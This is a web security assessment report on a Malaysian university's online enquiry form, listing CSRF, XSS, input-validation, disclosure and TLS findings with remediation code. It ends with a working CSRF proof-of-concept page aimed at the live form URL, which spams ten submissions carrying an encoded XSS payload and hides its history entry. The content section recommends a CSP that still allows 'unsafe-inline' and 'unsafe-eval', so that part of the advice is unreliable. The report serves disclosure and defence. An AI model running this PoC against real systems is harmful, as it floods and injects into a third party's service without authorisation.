****

**ATTACK REPORT: SECURITY ASSESSMENT OF MSU ENQUIRY FORM**

|  |  |  |  |
| --- | --- | --- | --- |
| **Agent ID:** | 199 | **Agent Name:** | msu.edu.my |
| **Agent Status:** | Active | **IP Address:** | 46.250.229.119 |
| **Operating System:** | Debian GNU/Linux 12 | **Groups:** | Default, LinuxSVR |
| **Wazuh Version** | v4.7.2 | **Cluster Node:** | node01 |
| **Report Datetime** | 08/08/2024 @ 1. 30 p.m. | **PIC:** | S012024030007 - (SOC ANALYST 1) |

# **Executive Summary**

A security assessment was conducted on the MSU (Management and Science University) enquiry form located at msu.edu.my/enquiry. The assessment utilized Burp Suite with a wayback machine extension to identify potential vulnerabilities and security risks. This report outlines the findings and provides recommendations for improving the security posture of the application.

# **Scope**

The assessment focused on the enquiry form submission process at msu.edu.my/enquiry.

# **Key Findings**

1. **Cross-Site Request Forgery (CSRF) Vulnerability:** 
   * The enquiry form lacks proper CSRF protections, allowing submission from external sites.
   * A proof-of-concept (POC) HTML page was created to automatically submit the form multiple times asynchronously.
   * This vulnerability could be exploited to perform unauthorized actions on behalf of authenticated users.
   * Related CWE: CWE-352: Cross-Site Request Forgery (CSRF)
2. **Reflected Cross-Site Scripting (XSS) Vulnerability:** 
   * The name, MyKad number, and phone number input fields appear vulnerable to XSS attacks.
   * Potentially malicious scripts can be injected and executed in the context of other users' browsers.
   * This could lead to theft of sensitive information, session hijacking, or defacement of the website.
   * Related CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
   * <https://cwe.mitre.org/data/definitions/79.html>
3. **Lack of Input Validation:** 
   * Several form fields, including name, MyKad number, and phone number, lack proper input validation.
   * This allows for injection of malicious data, potentially leading to various types of injection attacks.
   * Related CWE: CWE-20: Improper Input Validation
   * <https://cwe.mitre.org/data/definitions/20.html>
4. **Insecure Direct Object References:** 
   * A backup file (index\_old.php) was detected, which could be a legacy version of the enquiry form.
   * This file could expose sensitive information or provide an additional attack vector.
   * Related CWE: CWE-552: Files or Directories Accessible to External Parties
   * <https://cwe.mitre.org/data/definitions/552.html>
5. **Information Disclosure:** 
   * The application reveals potentially sensitive information through:
6. Email address disclosure in responses
7. Presence of a robots.txt file, which could aid in mapping out the site's structure
   * This information could be used by attackers to plan more targeted attacks.
   * Related CWEs: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor CWE-538: Insertion of Sensitive Information into Externally-Accessible File or Directory
   * <https://cwe.mitre.org/data/definitions/200.html>
   * <https://cwe.mitre.org/data/definitions/538.html>
8. **Transport Layer Security (TLS) Issues:** 
   * While a valid TLS certificate is in place, HTTP Strict Transport Security (HSTS) is not enforced on multiple URLs.
   * This could potentially allow downgrade attacks or man-in-the-middle attacks under certain circumstances.
   * Related CWEs: CWE-319: Cleartext Transmission of Sensitive Information CWE-523: Unprotected Transport of Credentials
   * <https://cwe.mitre.org/data/definitions/319.html>
9. **External Service Interactions:** 
   * The application interacts with external services using user-supplied data (name, MyKad number, and phone number).
   * This could potentially be exploited for server-side request forgery (SSRF) attacks, allowing attackers to interact with internal systems or make requests to external services on behalf of the server.
   * Related CWE: CWE-918: Server-Side Request Forgery (SSRF)
   * <https://cwe.mitre.org/data/definitions/918.html>
10. **Additional CWEs identified:**

* CWE-16: Configuration - <https://cwe.mitre.org/data/definitions/16.html>
* CWE-116: Improper Encoding or Escaping of Output - <https://cwe.mitre.org/data/definitions/116.html>
* CWE-524: Use of Cache Containing Sensitive Information - <https://cwe.mitre.org/data/definitions/524.html>
* CWE-525: Use of Web Browser Cache Containing Sensitive Information - <https://cwe.mitre.org/data/definitions/525.html>
* CWE-829: Inclusion of Functionality from Untrusted Control Sphere - <https://cwe.mitre.org/data/definitions/829.html>

# **Recommendation**

1. **Implement Robust CSRF Protection** 
   * **Implement synchronizer token pattern:**

<?php

session\_start();

**if** (**empty**($\_SESSION['csrf\_token'])) {

$\_SESSION['csrf\_token'] = bin2hex(random\_bytes(**32**));

}

?>

<form method="POST">

<input type="hidden" name="csrf\_token" value="<?php **echo** $\_SESSION['csrf\_token']; ?>">

<!-- Rest of the form -->

</form>

* + **Validate token on form submission:**

**if** (!hash\_equals($\_SESSION['csrf\_token'], $\_POST['csrf\_token'])) {

die('CSRF token validation failed');

}

* + Consider implementing the double submit cookie pattern as an additional layer of protection.

1. **Prevent XSS Attacks**
   * **Implement strict input validation:**

**function** sanitize\_input($data) {

$data = trim($data);

$data = stripslashes($data);

$data = htmlspecialchars($data, ENT\_QUOTES, 'UTF-8');

**return** $data;

}

$name = sanitize\_input($\_POST['name']);

* + **Implement Content Security Policy (CSP):**

**header**("Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline';");

* + **Use output encoding when displaying user input:**

**echo** **htmlspecialchars**($user\_input, ENT\_QUOTES, 'UTF-8');

1. **Implement Comprehensive Input Validation**
   * **For MyKad number:**

**function** validate\_mykad($mykad) {

**return** preg\_match('/^[0-9]{6}-[0-9]{2}-[0-9]{4}$/', $mykad);

}

**if** (!validate\_mykad($\_POST['mykad'])) {

die('Invalid MyKad format');

}

* + **For phone number:**

**function** validate\_phone($phone) {

**return** preg\_match('/^(\+?6?01)[0-46-9]-\*[0-9]{7,8}$/', $phone);

}

**if** (!validate\_phone($\_POST['phone'])) {

die('Invalid phone number format');

}

1. **Secure or Remove Backup Files**
   * **Remove unnecessary files: rm** /path/to/webroot/index\_old.php
   * **If the file must be kept, restrict access:**

<Files "index\_old.php">

Order allow,deny

Deny from all

</Files>

* + Implement proper version control instead of keeping backup files on the server.

1. **Minimize Information Disclosure**
   * **Configure robots.txt to disallow sensitive directories:**

User-agent: \*

Disallow: /admin/

Disallow: /includes/

Disallow: /scripts/

* + **Remove unnecessary information from server responses:**

**header\_remove**("X-Powered-By");

* + **Implement proper error handling to avoid exposing system information:**

**error\_reporting**(0); **ini\_set**('display\_errors', 0);

1. **Implement HSTS and Secure TLS Configuration**
   * **Add HSTS header:**

Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains; preload"

* + **Ensure proper TLS configuration:**

|  |  |
| --- | --- |
| SSLProtocol | all -SSLv3 -TLSv1 -TLSv1.1 |
| SSLCipherSuite | ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384 |
| SSLHonorCipherOrder | off |
| SSLSessionTickets | off |

1. **Prevent SSRF Attacks**
   * **Implement a whitelist of allowed domains:**

**function** is\_allowed\_domain($url) {

$allowed\_domains = ['api.example.com', 'cdn.example.com'];

$parsed\_url = parse\_url($url);

**return** in\_array($parsed\_url['host'], $allowed\_domains);

}

**if** (!is\_allowed\_domain($url)) {

die('Disallowed domain');

}

* + Use a server-side proxy for all external requests to control outgoing connections.

1. **Implement Secure Caching Practices**
   * **Set appropriate cache-control headers:**

**header**("Cache-Control: no-store, no-cache, must-revalidate, max-age=0"); **header**("Pragma: no-cache");

* + **For sensitive pages, consider using:**

**header**("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");

1. **Secure External Resource Inclusion**
   * **Implement Sub-resource Integrity for all externally hosted scripts:**

<script src="https://example.com/example-framework.js"

integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"

crossorigin="anonymous">

</script>

* + Consider hosting critical scripts locally to reduce dependency on external sources.

1. **Implement Regular Security Assessments**
   * **Consider integrating automated security scanning into the SDLC pipeline:**

name: Security Scan

on: [push]

jobs:

security\_scan:

runs-on: ubuntu-latest

steps:

- uses: actions/checkout@v2

- name: Run OWASP ZAP Scan

uses: [zaproxy/action-full-scan@v0.4.0](mailto:zaproxy/action-full-scan@v0.4.0)

with:

target: 'https://www2.msu.edu.my'

* + Implement a bug bounty program within internal staff and students to encourage responsible disclosure of vulnerabilities.

# **Next Steps**

1. Immediately address critical vulnerabilities, starting with XSS and CSRF issues.
2. Conduct a thorough code review to identify any additional security issues.
3. Implement the recommended security measures in a staging environment.
4. Perform thorough testing to ensure fixes do not introduce new issues or break functionality.
5. Deploy fixes to production in a controlled manner, monitoring for any unexpected behaviour.
6. Conduct a follow-up security assessment to verify the effectiveness of the implemented measures.
7. Develop and implement an ongoing security training program for development and operations staff.

# **Conclusion**

The security assessment of msu.edu.my's enquiry form submission functionality has revealed several critical vulnerabilities that pose significant risks to both the system's integrity and user data confidentiality. The identified issues, including Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), and information disclosure vulnerabilities, highlight substantial gaps in the current security posture of the application.

These findings underscore the urgent need for a comprehensive security overhaul. Implementing the detailed recommendations provided—ranging from robust input validation and output encoding to secure configuration of TLS and external service interactions—is crucial. However, this should be viewed as the beginning of an ongoing process rather than a one-time fix.

Moving forward, it is imperative that security becomes an integral part of the development lifecycle. This includes regular security assessments, continuous monitoring, and fostering a security-first culture among development and operations teams. By addressing these vulnerabilities and instituting proactive security measures, msu.edu.my can significantly enhance its resilience against potential cyber threats, safeguard user data, and maintain the trust of its stakeholders.

The path to improved security will require dedication, resources, and ongoing commitment, but it is essential for protecting the institution's digital assets and reputation in an increasingly complex threat landscape.

# **Proof of Concept (PoC)**

<html>

<!-- CSRF PoC - generated by Burp Suite Professional -->

<!-- CSRF PoC – modified by SHAHSWIENE-->

<body>

<form id="csrfForm" action="https://www2.msu.edu.my/enquiry/index.php"

method="POST" enctype="multipart/form-data">

<input type="hidden" name="srm&#95;blast" value="" />

<input type="hidden" name="enquirer&#95;name" value="AICS" />

<input type="hidden" name="enquirer&#95;mykad" value="990808015544" />

<input type="hidden" name="enquirer&#95;phone" value="123456885" />

<input type="hidden" name="enquirer&#95;email"

value="&#37;26lt&#37;3bbr&#37;20size&#37;3d&#37;5c&#37;26quot&#37;3b&#37;26amp&#37;3b&#37;7balert&#40;&#37;26&#37;23039&#37;3bXSS&#37;26&#37;23039&#37;3b&#41;&#37;7d&#37;5c&#37;26quot&#37;3b&#37;26gt&#37;3b" />

<input type="hidden" name="enquirer&#95;employment"

value="Full&#45;Time&#32;Working" />

<input type="hidden" name="enquirer&#95;nationality" value="Malaysia" />

<input type="hidden" name="enquirer&#95;focus&#95;area"

value="Information&#32;Science&#32;&amp;&#32;Enginering" />

<input type="hidden" name="study&#95;preferences"

value="Double&#47;Dual&#32;Degree" />

<input type="hidden" name="enquirer&#95;study&#95;level"

value="Bachelors&#32;Degree" />

<input type="hidden" name="Submit" value="Submit" />

<input type="submit" value="Submit request" />

</form>

<script>

// Function to submit the form asynchronously multiple times

async **function** submitFormMultipleTimesAsync(count) {

**const** form = document.getElementById('csrfForm');

**const** formData = **new** FormData(form);

// Array to hold promises

**let** promises = [];

**for** (**let** i = **0**; i < count; i++) {

// Push fetch promise into the array

promises.push(

fetch(form.action, {

method: 'POST',

body: formData

})

);

}

// Execute all promises asynchronously

await Promise.all(promises);

console.log(`${count} requests sent successfully.`);

}

// Submit the form n times in this example we set 10

submitFormMultipleTimesAsync(**10**);

// Remove the history entry to hide the submission

history.pushState('', '', '/');

</script>

</body>

</html>

Note: PoC generated by Burp Suite was modified to be spammed against the server. Potential DDoS could also occur.